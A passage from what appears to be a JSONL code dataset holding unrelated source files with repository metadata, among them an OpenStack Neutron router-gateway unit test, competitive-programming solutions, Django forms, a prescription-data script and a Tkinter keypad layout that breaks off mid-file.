self.router_gw_port = port_obj.Port(\n self.context,\n id=FAKE_GW_PORT_ID,\n project_id=self.tenant_id,\n device_id=self.router.id,\n device_owner=l3_db.DEVICE_OWNER_ROUTER_GW,\n admin_state_up=True,\n status=constants.PORT_STATUS_ACTIVE,\n mac_address=netaddr.EUI(FAKE_GW_PORT_MAC),\n network_id=self.ext_net_id)\n self.router_gw_port.create()\n self.router.gw_port_id = self.router_gw_port.id\n self.context.session.add(self.router)\n self.context.session.flush()\n self.fip_ext_port = port_obj.Port(\n self.context,\n id=FAKE_FIP_EXT_PORT_ID,\n project_id=self.tenant_id,\n admin_state_up=True,\n device_id=self.router.id,\n device_owner=l3_db.DEVICE_OWNER_FLOATINGIP,\n status=constants.PORT_STATUS_ACTIVE,\n mac_address=netaddr.EUI(FAKE_FIP_EXT_PORT_MAC),\n network_id=self.ext_net_id)\n self.fip_ext_port.create()\n self.context.session.flush()\n self.int_net = net_obj.Network(\n self.context,\n id=self.int_net_id,\n project_id=self.tenant_id,\n admin_state_up=True,\n status=constants.NET_STATUS_ACTIVE)\n self.int_sub = subnet_obj.Subnet(self.context,\n id=self.int_sub_id,\n project_id=self.tenant_id,\n ip_version=constants.IP_VERSION_4,\n cidr=net_utils.AuthenticIPNetwork('3.3.3.0/24'),\n gateway_ip=netaddr.IPAddress('3.3.3.1'),\n network_id=self.int_net_id)\n self.router_port = port_obj.Port(\n self.context,\n id=FAKE_ROUTER_PORT_ID,\n project_id=self.tenant_id,\n admin_state_up=True,\n device_id=self.router.id,\n device_owner=l3_db.DEVICE_OWNER_ROUTER_INTF,\n status=constants.PORT_STATUS_ACTIVE,\n mac_address=netaddr.EUI(FAKE_ROUTER_PORT_MAC),\n network_id=self.int_net_id)\n self.router_port_ip_info = port_obj.IPAllocation(self.context,\n port_id=self.router_port.id,\n network_id=self.int_net.id,\n subnet_id=self.int_sub_id,\n ip_address='3.3.3.1')\n self.int_net.create()\n self.int_sub.create()\n self.router_port.create()\n self.router_port_ip_info.create()\n self.context.session.flush()\n self.fip_int_port = port_obj.Port(\n self.context,\n id=FAKE_FIP_INT_PORT_ID,\n project_id=self.tenant_id,\n admin_state_up=True,\n device_id='something',\n device_owner=constants.DEVICE_OWNER_COMPUTE_PREFIX + 'nova',\n status=constants.PORT_STATUS_ACTIVE,\n mac_address=netaddr.EUI(FAKE_FIP_INT_PORT_MAC),\n network_id=self.int_net_id)\n self.fip_int_ip_info = port_obj.IPAllocation(self.context,\n port_id=self.fip_int_port.id,\n network_id=self.int_net.id,\n subnet_id=self.int_sub_id,\n ip_address='3.3.3.3')\n self.fip = l3_obj.FloatingIP(\n self.context,\n id=_uuid(),\n floating_ip_address=netaddr.IPAddress('1.1.1.2'),\n floating_network_id=self.ext_net_id,\n floating_port_id=FAKE_FIP_EXT_PORT_ID,\n fixed_port_id=None,\n fixed_ip_address=None,\n router_id=None)\n self.fip_int_port.create()\n self.fip_int_ip_info.create()\n self.fip.create()\n self.context.session.flush()\n self.context.session.expire_all()\n self.fip_request = {'port_id': FAKE_FIP_INT_PORT_ID,\n 'tenant_id': self.tenant_id}\n\n def _get_gwports_dict(self, gw_ports):\n return dict((gw_port['id'], gw_port)\n for gw_port in gw_ports)\n\n def _reset_ext_gw(self):\n # Reset external gateway\n self.router.gw_port_id = None\n self.context.session.add(self.router)\n self.context.session.flush()\n\n def _test_update_router_gw(self, current_enable_snat, gw_info=None,\n expected_enable_snat=True):\n if not current_enable_snat:\n previous_gw_info = {'network_id': self.ext_net_id,\n 'enable_snat': current_enable_snat}\n request_body = {\n l3_apidef.EXTERNAL_GW_INFO: previous_gw_info}\n self.target_object._update_router_gw_info(\n self.context, self.router.id, previous_gw_info, request_body)\n\n request_body = {\n l3_apidef.EXTERNAL_GW_INFO: gw_info}\n self.target_object._update_router_gw_info(\n self.context, self.router.id, gw_info, request_body)\n router = self.target_object._get_router(\n self.context, self.router.id)\n try:\n self.assertEqual(FAKE_GW_PORT_ID,\n router.gw_port.id)\n self.assertEqual(netaddr.EUI(FAKE_GW_PORT_MAC),\n router.gw_port.mac_address)\n except AttributeError:\n self.assertIsNone(router.gw_port)\n self.assertEqual(expected_enable_snat, router.enable_snat)\n\n def test_update_router_gw_with_gw_info_none(self):\n self._test_update_router_gw(current_enable_snat=True)\n\n def test_update_router_gw_without_info_and_snat_disabled_previously(self):\n self._test_update_router_gw(current_enable_snat=False)\n\n def test_update_router_gw_with_network_only(self):\n info = {'network_id': self.ext_net_id}\n self._test_update_router_gw(current_enable_snat=True, gw_info=info)\n\n def test_update_router_gw_with_network_and_snat_disabled_previously(self):\n info = {'network_id': self.ext_net_id}\n self._test_update_router_gw(current_enable_snat=False, gw_info=info)\n\n def test_update_router_gw_with_snat_disabled(self):\n info = {'network_id': self.ext_net_id,\n 'enable_snat': False}\n self._test_update_router_gw(\n current_enable_snat=True, gw_info=info, expected_enable_snat=False)\n\n def test_update_router_gw_with_snat_enabled(self):\n info = {'network_id': self.ext_net_id,\n 'enable_snat': True}\n self._test_update_router_gw(current_enable_snat=False, gw_info=info)\n\n def test_make_router_dict_no_ext_gw(self):\n self._reset_ext_gw()\n router_dict = self.target_object._make_router_dict(self.router)\n self.assertIsNone(router_dict[l3_apidef.EXTERNAL_GW_INFO])\n\n def test_make_router_dict_with_ext_gw(self):\n router_dict = self.target_object._make_router_dict(self.router)\n self.assertEqual({'network_id': self.ext_net_id,\n 'enable_snat': True,\n 'external_fixed_ips': []},\n router_dict[l3_apidef.EXTERNAL_GW_INFO])\n\n def test_make_router_dict_with_ext_gw_snat_disabled(self):\n self.router.enable_snat = False\n router_dict = self.target_object._make_router_dict(self.router)\n self.assertEqual({'network_id': self.ext_net_id,\n 'enable_snat': False,\n 'external_fixed_ips': []},\n router_dict[l3_apidef.EXTERNAL_GW_INFO])\n\n def test_build_routers_list_no_ext_gw(self):\n self._reset_ext_gw()\n router_dict = self.target_object._make_router_dict(self.router)\n routers = self.target_object._build_routers_list(self.context,\n [router_dict],\n [])\n self.assertEqual(1, len(routers))\n router = routers[0]\n self.assertIsNone(router.get('gw_port'))\n self.assertIsNone(router.get('enable_snat'))\n\n def test_build_routers_list_with_ext_gw(self):\n router_dict = self.target_object._make_router_dict(self.router)\n routers = self.target_object._build_routers_list(\n self.context, [router_dict],\n self._get_gwports_dict([self.router.gw_port]))\n self.assertEqual(1, len(routers))\n router = routers[0]\n self.assertIsNotNone(router.get('gw_port'))\n self.assertEqual(FAKE_GW_PORT_ID, router['gw_port']['id'])\n self.assertTrue(router.get('enable_snat'))\n\n def test_build_routers_list_with_ext_gw_snat_disabled(self):\n self.router.enable_snat = False\n router_dict = self.target_object._make_router_dict(self.router)\n routers = self.target_object._build_routers_list(\n self.context, [router_dict],\n self._get_gwports_dict([self.router.gw_port]))\n self.assertEqual(1, len(routers))\n router = routers[0]\n self.assertIsNotNone(router.get('gw_port'))\n self.assertEqual(FAKE_GW_PORT_ID, router['gw_port']['id'])\n self.assertFalse(router.get('enable_snat'))\n\n def test_build_routers_list_with_gw_port_mismatch(self):\n router_dict = self.target_object._make_router_dict(self.router)\n routers = self.target_object._build_routers_list(\n self.context, [router_dict], {})\n self.assertEqual(1, len(routers))\n router = routers[0]\n self.assertIsNone(router.get('gw_port'))\n self.assertIsNone(router.get('enable_snat'))\n\n\nclass ExtGwModeIntTestCase(test_db_base_plugin_v2.NeutronDbPluginV2TestCase,\n test_l3.L3NatTestCaseMixin):\n\n def setUp(self, plugin=None, svc_plugins=None, ext_mgr=None):\n plugin = plugin or (\n 'neutron.tests.unit.extensions.test_l3_ext_gw_mode.'\n 'TestDbIntPlugin')\n ext_mgr = ext_mgr or TestExtensionManager()\n super(ExtGwModeIntTestCase, self).setUp(plugin=plugin,\n ext_mgr=ext_mgr,\n service_plugins=svc_plugins)\n\n def _set_router_external_gateway(self, router_id, network_id,\n snat_enabled=None,\n expected_code=exc.HTTPOk.code,\n tenant_id=None, as_admin=False):\n ext_gw_info = {'network_id': network_id}\n # Need to set enable_snat also if snat_enabled == False\n if snat_enabled is not None:\n ext_gw_info['enable_snat'] = snat_enabled\n return self._update('routers', router_id,\n {'router': {'external_gateway_info':\n ext_gw_info}},\n expected_code=expected_code,\n request_tenant_id=tenant_id,\n as_admin=as_admin)\n\n def test_router_gateway_set_fail_after_port_create(self):\n with self.router() as r, self.subnet() as s:\n ext_net_id = s['subnet']['network_id']\n self._set_net_external(ext_net_id)\n plugin = directory.get_plugin()\n with mock.patch.object(plugin, '_get_port',\n side_effect=ValueError()):\n self._set_router_external_gateway(r['router']['id'],\n ext_net_id,\n expected_code=500)\n ports = [p for p in plugin.get_ports(nctx.get_admin_context())\n if p['device_owner'] == l3_db.DEVICE_OWNER_ROUTER_GW]\n self.assertFalse(ports)\n\n def test_router_gateway_set_retry(self):\n with self.router() as r, self.subnet() as s:\n ext_net_id = s['subnet']['network_id']\n self._set_net_external(ext_net_id)\n with mock.patch.object(\n l3_db.L3_NAT_dbonly_mixin, '_validate_gw_info',\n side_effect=[db_exc.RetryRequest(None), ext_net_id]):\n self._set_router_external_gateway(r['router']['id'],\n ext_net_id)\n res = self._show('routers', r['router']['id'])['router']\n self.assertEqual(ext_net_id,\n res['external_gateway_info']['network_id'])\n\n def test_router_create_with_gwinfo_invalid_ext_ip(self):\n with self.subnet() as s:\n self._set_net_external(s['subnet']['network_id'])\n ext_info = {\n 'network_id': s['subnet']['network_id'],\n 'external_fixed_ips': [{'ip_address': '10.0.0.'}]\n }\n error_code = exc.HTTPBadRequest.code\n res = self._create_router(\n self.fmt, _uuid(), arg_list=('external_gateway_info',),\n external_gateway_info=ext_info,\n expected_code=error_code\n )\n msg = (\"Invalid input for external_gateway_info. \"\n \"Reason: '10.0.0.' is not a valid IP address.\")\n body = jsonutils.loads(res.body)\n self.assertEqual(msg, body['NeutronError']['message'])\n\n def test_router_create_show_no_ext_gwinfo(self):\n name = 'router1'\n tenant_id = _uuid()\n expected_value = [('name', name), ('tenant_id', tenant_id),\n ('admin_state_up', True), ('status', 'ACTIVE'),\n ('external_gateway_info', None)]\n with self.router(name=name, admin_state_up=True,\n tenant_id=tenant_id) as router:\n res = self._show('routers', router['router']['id'],\n tenant_id=tenant_id)\n for k, v in expected_value:\n self.assertEqual(res['router'][k], v)\n\n def _test_router_create_show_ext_gwinfo(self, snat_input_value,\n snat_expected_value):\n name = 'router1'\n tenant_id = _uuid()\n with self.subnet() as s:\n ext_net_id = s['subnet']['network_id']\n self._set_net_external(ext_net_id)\n input_value = {'network_id': ext_net_id}\n if snat_input_value in (True, False):\n input_value['enable_snat'] = snat_input_value\n expected_value = [('name', name), ('tenant_id', tenant_id),\n ('admin_state_up', True), ('status', 'ACTIVE'),\n ('external_gateway_info',\n {'network_id': ext_net_id,\n 'enable_snat': snat_expected_value,\n 'external_fixed_ips': [{\n 'ip_address': mock.ANY,\n 'subnet_id': s['subnet']['id']}]})]\n with self.router(name=name, admin_state_up=True,\n tenant_id=tenant_id,\n external_gateway_info=input_value,\n as_admin=True) as router:\n res = self._show('routers', router['router']['id'],\n tenant_id=tenant_id)\n for k, v in expected_value:\n self.assertEqual(v, res['router'][k])\n\n def test_router_create_show_ext_gwinfo_default(self):\n self._test_router_create_show_ext_gwinfo(None, True)\n\n def test_router_create_show_ext_gwinfo_with_snat_enabled(self):\n self._test_router_create_show_ext_gwinfo(True, True)\n\n def test_router_create_show_ext_gwinfo_with_snat_disabled(self):\n self._test_router_create_show_ext_gwinfo(False, False)\n\n def _test_router_update_ext_gwinfo(self, snat_input_value,\n snat_expected_value=False,\n expected_http_code=exc.HTTPOk.code):\n with self.router() as r:\n with self.subnet() as s:\n try:\n ext_net_id = s['subnet']['network_id']\n self._set_net_external(ext_net_id)\n self._set_router_external_gateway(\n r['router']['id'], ext_net_id,\n snat_enabled=snat_input_value,\n expected_code=expected_http_code,\n as_admin=True)\n if expected_http_code != exc.HTTPOk.code:\n return\n body = self._show('routers', r['router']['id'])\n res_gw_info = body['router']['external_gateway_info']\n self.assertEqual(ext_net_id, res_gw_info['network_id'])\n self.assertEqual(snat_expected_value,\n res_gw_info['enable_snat'])\n finally:\n self._remove_external_gateway_from_router(\n r['router']['id'], ext_net_id)\n\n def test_router_update_ext_gwinfo_default(self):\n self._test_router_update_ext_gwinfo(None, True)\n\n def test_router_update_ext_gwinfo_with_snat_enabled(self):\n self._test_router_update_ext_gwinfo(True, True)\n\n def test_router_update_ext_gwinfo_with_snat_disabled(self):\n self._test_router_update_ext_gwinfo(False, False)\n\n def test_router_update_ext_gwinfo_with_invalid_snat_setting(self):\n self._test_router_update_ext_gwinfo(\n 'xxx', None, expected_http_code=exc.HTTPBadRequest.code)\n\n\nclass ExtGwModeSepTestCase(ExtGwModeIntTestCase):\n\n def setUp(self, plugin=None):\n # Store l3 resource attribute map as it will be updated\n self._l3_attribute_map_bk = {}\n for item in l3_apidef.RESOURCE_ATTRIBUTE_MAP:\n self._l3_attribute_map_bk[item] = (\n l3_apidef.RESOURCE_ATTRIBUTE_MAP[item].copy())\n plugin = plugin or (\n 'neutron.tests.unit.extensions.test_l3.TestNoL3NatPlugin')\n # the L3 service plugin\n l3_plugin = ('neutron.tests.unit.extensions.test_l3_ext_gw_mode.'\n 'TestDbSepPlugin')\n svc_plugins = {'l3_plugin_name': l3_plugin}\n super(ExtGwModeSepTestCase, self).setUp(plugin=plugin,\n svc_plugins=svc_plugins)\n","repo_name":"openstack/neutron","sub_path":"neutron/tests/unit/extensions/test_l3_ext_gw_mode.py","file_name":"test_l3_ext_gw_mode.py","file_ext":"py","file_size_in_byte":22919,"program_lang":"python","lang":"en","doc_type":"code","stars":1353,"dataset":"github-code","pt":"72"} +{"seq_id":"26679430070","text":"n = int(input())\n\narr = []\nfor i in range(n):\n p = map(int, raw_input().split(\" \"))\n arr.append(p)\n \n \ndef no_zeroes(num):\n c = 0\n while(num % 10 == 0 ):\n num /= 10\n c += 1\n \n \n return c \n\nprint(no_zeroes(2050000))\n ","repo_name":"prateekiiest/Competitive-Programming-Algo-DS","sub_path":"CodeForces/contest/[001-100]/002/problemB.py","file_name":"problemB.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"74118641513","text":"import bisect\nfrom typing import List\n\n\n# https://leetcode.com/problems/search-suggestions-system/discuss/436674/C%2B%2BJavaPython-Sort-and-Binary-Search-the-Prefix\nclass Solution:\n def suggestedProducts(self, products: List[str], searchWord: str) -> List[List[str]]:\n prefix = ''\n res = []\n\n products.sort()\n\n for ch in searchWord:\n prefix += ch\n index = bisect.bisect_left(products, prefix)\n res.append([w for w in products[index:index + 3] if w.startswith(prefix)])\n\n return res\n","repo_name":"cabulous/leetcode","sub_path":"python/1268.py","file_name":"1268.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26672158910","text":"# -*- coding:utf-8 -*-\n'''\n@题目描述\n给定一个double类型的浮点数base和int类型的整数exponent。求base的exponent次方。\n\n保证base和exponent不同时为0\n'''\nimport math\nclass Solution:\n def Power(self, base, exponent):\n # write code here\n #return base**exponent #用python可一行解决\n if base == 0:\n return 0\n if exponent == 0:\n return 1\n pro = 1\n for i in range(abs(exponent)):\n pro *= base\n if exponent > 0:\n return pro\n else:\n return float(1/pro)\n ","repo_name":"YarnYang/jianzhi-offer","sub_path":"code/012-数值的整数次方.py","file_name":"012-数值的整数次方.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"40597600355","text":"from collections import defaultdict\nimport re\n\nwith open('input05.txt', 'r') as f:\n input = [x.strip() for x in f.readlines()]\n\nboard = defaultdict(int)\n\nfor line in input:\n s_x, s_y, e_x, e_y = [int(x) for x in re.findall(r'\\d+', line)]\n\n diagonal = s_x != e_x and s_y != e_y\n\n if s_x <= e_x:\n x_range = range(s_x, e_x+1)\n else:\n x_range = range(s_x, e_x-1, -1)\n\n if s_y <= e_y:\n y_range = range(s_y, e_y+1)\n else:\n y_range = range(s_y, e_y-1, -1)\n\n if not diagonal:\n for x in x_range:\n for y in y_range:\n board[(x, y)] += 1\n else:\n for x,y in zip(x_range, y_range):\n board[(x, y)] += 1\n\nnum_intersect = sum([intersects >= 2 for intersects in board.values()])\n\nprint(num_intersect)\n","repo_name":"dsoklic/AdventOfCode2021","sub_path":"05/05_2.py","file_name":"05_2.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20463924139","text":"from datetime import date\n\nfrom django import forms\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.core.exceptions import ValidationError\n\nfrom dashboard.models import Task, Worker, Position\n\n\nclass WorkerCreationForm(UserCreationForm):\n class Meta(UserCreationForm.Meta):\n model = Worker\n fields = UserCreationForm.Meta.fields + (\n \"first_name\",\n \"last_name\",\n \"email\",\n \"position\",\n )\n\n\nclass WorkerPositionUpdateForm(forms.ModelForm):\n class Meta:\n model = Worker\n fields = [\"position\"]\n\n\nclass WorkerSearchForm(forms.Form):\n username = forms.CharField(\n max_length=150,\n required=False,\n label=\"\",\n widget=forms.TextInput(attrs={\"placeholder\": \"Search by username...\"}),\n )\n\n\nclass WorkerFilterForm(forms.Form):\n position = forms.ModelChoiceField(\n queryset=Position.objects.all(),\n empty_label=\"All Positions\",\n required=False,\n label=\"\",\n )\n\n\nclass TaskSearchForm(forms.Form):\n name = forms.CharField(\n max_length=255,\n required=False,\n label=\"\",\n widget=forms.TextInput(attrs={\"placeholder\": \"Search by name...\"}),\n )\n\n\nclass TaskFilterForm(forms.Form):\n PRIORITY_CHOICES = (\n (\"\", \"All Priorities\"),\n (\"Urgent\", \"Urgent\"),\n (\"High\", \"High\"),\n (\"Medium\", \"Medium\"),\n (\"Low\", \"Low\"),\n )\n priority = forms.ChoiceField(\n choices=PRIORITY_CHOICES, required=False, label=\"\"\n )\n\n\nclass TaskForm(forms.ModelForm):\n deadline = forms.DateField(widget=forms.DateInput(attrs={\"type\": \"date\"}))\n assignees = forms.ModelMultipleChoiceField(\n queryset=get_user_model().objects.all(),\n widget=forms.CheckboxSelectMultiple,\n required=False,\n )\n\n class Meta:\n model = Task\n fields = \"__all__\"\n\n def clean_deadline(self):\n return validate_deadline(self.cleaned_data[\"deadline\"])\n\n\ndef validate_deadline(deadline: date):\n if deadline < date.today():\n raise ValidationError(\"Deadline cannot be earlier than current date\")\n\n return deadline\n","repo_name":"kamilla-boiko/task-manager","sub_path":"dashboard/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41023871022","text":"\"\"\"\nGiven a binary tree, return a list containing its inorder traversal without using recursion.\n\nEx: Given the following tree…\n\n 2 \n / \\ \n 1 3\nreturn [1, 2, 3]\nEx: Given the following tree…\n\n 2\n / \\\n 1 7\n / \\\n 4 8\nreturn [4, 1, 8, 2, 7]\n\"\"\"\nclass Tree():\n def __init__(self, value):\n self.value = value\n self.right = None\n self.left = None\n self.seen = False\n\n# def iterative_inorder_traversal(root):\n# output = []\n\n# stack = [root]\n\n# while stack:\n# if stack[-1].left and not stack[-1].left.seen: # works with modification in the tree class\n# stack.append(stack[-1].left)\n# continue\n# el = stack.pop()\n# el.seen = True\n# output.append(el.value)\n# if el.right:\n# stack.append(el.right)\n\n# return output\n\ndef iterative_inorder_traversal(root):\n output = []\n stack = []\n\n while True:\n while root:\n stack.append(root)\n root = root.left\n if not stack:\n return output\n node = stack.pop()\n output.append(node.value)\n root = node.right\n\nroot = Tree(2)\nroot.left = Tree(1)\nroot.right = Tree(3)\n\nprint(iterative_inorder_traversal(root))\n\nroot = Tree(2)\nroot.left = Tree(1)\nroot.right = Tree(7)\nroot.left.left = Tree(4)\nroot.left.right = Tree(8)\n\nprint(iterative_inorder_traversal(root))\n","repo_name":"ItamarRocha/DailyByte","sub_path":"week_013/day85_iterativeinordertraversal.py","file_name":"day85_iterativeinordertraversal.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"72"} +{"seq_id":"31538500809","text":"# 7_B.py\n\ndef solve(n, x):\n count = 0\n for i in range(1, n - 1):\n for j in range(i + 1, n):\n k = x - i - j\n if j < k <= n:\n # print(i, j, k)\n count += 1\n return count\n\nwhile True:\n n, x = [int(e) for e in input().split()]\n if n == 0 and x == 0:\n break\n print(solve(n, x))\n","repo_name":"koba925/alds","sub_path":"aoj/ITP1/7_B.py","file_name":"7_B.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8594185979","text":"def a():\n n = int(input())\n ans = chr(n)\n\n return print(ans)\n\ndef b():\n n, k = map(int, input().split())\n a_li = list(map(int, input().split()))\n b_li = list(map(int, input().split()))\n max_a = max(a_li)\n for i, ai in enumerate(a_li):\n if ai == max_a and i + 1 in b_li:\n return print('Yes')\n return print('No')\n\ndef c():\n n = int(input())\n li = []\n for i in range(n):\n li.append(list(map(int, list(input()))))\n ans = []\n for number in range(10):\n idx = []\n for i in li:\n idx.append(i.index(number))\n is_same_li = [0] * 10\n for i in idx:\n is_same_li[i] += 1\n max_same_idx = max(is_same_li)\n if max_same_idx == 1:\n ans.append(max(idx))\n else:\n ans.append((max_same_idx - 1) * 10 + is_same_li.index(max_same_idx))\n\n\n return print(min(ans))\n\nfrom math import comb, factorial\nfrom collections import Counter\ndef d():\n n = int(input())\n li = list(map(int, input().split()))\n\n counter = Counter(li)\n ans = comb(n, 3)\n print(ans)\n print(counter.values())\n for i in counter.values():\n if i == 1:\n pass\n else:\n ans -= (n - i) * (n - i - 1)\n return print(ans)\n\n\nif __name__ == '__main__':\n d()\n","repo_name":"RyutaSato/abc_log","sub_path":"tmp.py","file_name":"tmp.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13676599524","text":"from time import time\nimport sys\nimport getopt\nfrom FileReader.PostcodeLookupReader import PostcodeLookupReader\nfrom FileReader.PrescriptionFileReader import PrescriptionFileReader\nfrom FileReader.AddressFileReader import AddressFileReader\n\n\ndef print_usage():\n print('Usage: python3 main.py -c -a -p ')\n print('The file names should be fully qualified paths if not in current directory.')\n\n\ndef parse_args(args):\n postcode_file = ''\n address_file = ''\n prescription_file = ''\n\n try:\n opts, args = getopt.getopt(args, \"hc:a:p:\")\n except getopt.GetoptError:\n print_usage()\n sys.exit(1)\n\n for opt, arg in opts:\n if opt is '-h':\n print_usage()\n sys.exit(1)\n elif opt in '-c':\n postcode_file = arg\n elif opt in '-p':\n prescription_file = arg\n elif opt in '-a':\n address_file = arg\n\n if postcode_file is '' or prescription_file is '' or address_file is '':\n print_usage()\n sys.exit(1)\n else:\n return [postcode_file, address_file, prescription_file]\n\n\ndef main():\n start_time = time()\n postcode_file, address_file, prescription_file = parse_args(sys.argv[1:])\n\n process_postcodes_file = PostcodeLookupReader(postcode_file, None)\n process_postcodes_file.populate_csv_header(None)\n process_postcodes_file.set_iteration_method('lazy_read')\n\n for row in process_postcodes_file:\n process_postcodes_file.process_file(row)\n\n header = (\"Period\", \"practice_code\", \"practice_name\", \"practice_building\",\n \"address\", \"locality\", \"town\", \"postcode\")\n\n process_address_file = AddressFileReader(address_file, header)\n process_address_file.set_iteration_method('chunky_lazy_read')\n\n process_address_file.set_location_to_search('LONDON')\n\n for row in process_address_file:\n process_address_file.process_file(row)\n\n process_address_file.write_output_to_file()\n\n process_prescription_file = PrescriptionFileReader(prescription_file, None)\n process_prescription_file.set_iteration_method('lazy_sequential_read')\n process_prescription_file.set_practice_code_to_postcode_lookup(process_address_file.get_postcode_for_practice)\n process_prescription_file.set_postcode_to_region_lookup(process_postcodes_file.get_region_from_postcode)\n process_prescription_file.setup_region_based_dictionaries(process_postcodes_file.get_regions_list())\n\n for row in process_prescription_file:\n process_prescription_file.process_file(row)\n\n end_time = time()\n\n print('Results written to ' + process_prescription_file.get_output_file())\n print('Execution time: ' + str(end_time - start_time))\n\n process_prescription_file.write_output_to_file()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"anoopyadav/AbideFinancialChallenge","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21688664912","text":"# 字典类型\n# 字符类型\nimport json\nadind={'王也':'十七','道长':'小七'}\nbdind='{\"王也\":\"十七\",\"道长\":\"小七\"}'\n\n# 字典转字符串\ndef adint_str():\n print(type(adind))\n cdint=json.dumps(adind)\n print(type(cdint))\n\n# 字符串转字典\ndef bdind_dint():\n print(type(bdind))\n cdint=json.loads(bdind)\n print(type(cdint))\n\n\ndef adint_sel(c):\n c=[1,3,'dna','十七','胡来','很可怕呦']\n print(c[0])\n d=c[3:]\n a=c[0:4]\n d.append(a)\n print(d)\n\n\ndef adint_del():\n a=['任由','小七','胡来',\n '很','可怕','的哟']\n a.pop(-1)\n print(a)\n\ndef multi_table():\n result = ''\n for i in range(1, 10):\n for j in range(1, i + 1):\n separator = '\\n' if j == i else '\\t'\n result += '%d * %d = %-2d' % (j, i, i * j)\n result += separator\n i = 1\n i = i + 1\n i+=1\n return result\n\n\n\nif __name__ == '__main__':\n # adint_str()\n # bdind_dint()\n # c = [1, '十七', 3, 'dna', '胡来', '很可怕呦']\n # adint_sel(c)\n adint_del()\n # multi_table()\n # r = multi_table()\n # print(r)\n","repo_name":"jokerxiaoqi/myedu","sub_path":"day02/SaturdayPractice.py","file_name":"SaturdayPractice.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22598702576","text":"from tkinter import *\n\nroot = Tk()\nroot.title(\"NADO GUI\")#title\nroot.geometry(\"640x480\")# 가로 * 세로\n\n# btn1=Button(root,text=\"버튼1\")\n# btn2=Button(root,text=\"버튼2\")\n# # btn1.pack()\n# # btn2.pack()\n# # btn1.pack(side=\"left\")\n# # btn2.pack(side=\"right \")\n\n# btn1.grid(row=0,column=0)\n# btn2.grid(row=1,column=1)\n#padx,y= 는 글자기준으로 크기 늘리는거 \n#sticky=붙이다 북쪽 남쪽 서쪽 동쪽으로 붙이다라는 의미\n#버튼 간격 뛰울때는 그리드에 padx , pady 를 넣어\n#키보드 만들기\nbtn_f16=Button(root,text=\"F16\", width=5,height=2)\nbtn_f17=Button(root,text=\"F17\", width=5,height=2)\nbtn_f18=Button(root,text=\"F18\", width=5,height=2)\nbtn_f19=Button(root,text=\"F19\", width=5,height=2)\nbtn_f16.grid(row=0,column=0, sticky=N+E+W+S,padx=3,pady=3)#지정한 방향으로 늘려라\nbtn_f17.grid(row=0,column=1,sticky=N+E+W+S,padx=3,pady=3)\nbtn_f18.grid(row=0,column=2,sticky=N+E+W+S,padx=3,pady=3)\nbtn_f19.grid(row=0,column=3,sticky=N+E+W+S,padx=3,pady=3)\n\n#2번째 줄\nbtn_clear=Button(root,text=\"clear\", width=5,height=2)\nbtn_equal=Button(root,text=\"=\", width=5,height=2)\nbtn_div=Button(root,text=\"/\", width=5,height=2)\nbtn_mul=Button(root,text=\"*\", width=5,height=2)\nbtn_clear.grid(row=1,column=0,sticky=N+E+W+S,padx=3,pady=3)\nbtn_equal.grid(row=1,column=1,sticky=N+E+W+S,padx=3,pady=3)\nbtn_div.grid(row=1,column=2,sticky=N+E+W+S,padx=3,pady=3)\nbtn_mul.grid(row=1,column=3,sticky=N+E+W+S,padx=3,pady=3)\n\n#3번째줄\nbtn_seven=Button(root,text=\"7\", width=5,height=2)\nbtn_eight=Button(root,text=\"8\", width=5,height=2)\nbtn_nine=Button(root,text=\"9\", width=5,height=2)\nbtn_minus=Button(root,text=\"-\", width=5,height=2)\nbtn_seven.grid(row=2,column=0,sticky=N+E+W+S,padx=3,pady=3)\nbtn_eight.grid(row=2,column=1,sticky=N+E+W+S,padx=3,pady=3)\nbtn_nine.grid(row=2,column=2,sticky=N+E+W+S,padx=3,pady=3)\nbtn_minus.grid(row=2,column=3,sticky=N+E+W+S,padx=3,pady=3)\n#4번째줄\nbtn_four=Button(root,text=\"4\", width=5,height=2)\nbtn_five=Button(root,text=\"5\", width=5,height=2)\nbtn_six=Button(root,text=\"6\", width=5,height=2)\nbtn_plus=Button(root,text=\"+\", width=5,height=2)\nbtn_four.grid(row=3,column=0,sticky=N+E+W+S,padx=3,pady=3)\nbtn_five.grid(row=3,column=1,sticky=N+E+W+S,padx=3,pady=3)\nbtn_six.grid(row=3,column=2,sticky=N+E+W+S,padx=3,pady=3)\nbtn_plus.grid(row=3,column=3,sticky=N+E+W+S,padx=3,pady=3)\n#5번째줄\nbtn_one=Button(root,text=\"1\", width=5,height=2)\nbtn_two=Button(root,text=\"2\", width=5,height=2)\nbtn_three=Button(root,text=\"3\", width=5,height=2)\nbtn_enter=Button(root,text=\"enter\", width=5,height=2)\nbtn_one.grid(row=4,column=0,sticky=N+E+W+S,padx=3,pady=3)\nbtn_two.grid(row=4,column=1,sticky=N+E+W+S,padx=3,pady=3)\nbtn_three.grid(row=4,column=2,sticky=N+E+W+S,padx=3,pady=3)\nbtn_enter.grid(row=4,column=3,rowspan=2,sticky=N+E+W+S,padx=3,pady=3)\n#마지막줄\nbtn_zero=Button(root,text=\"0\", 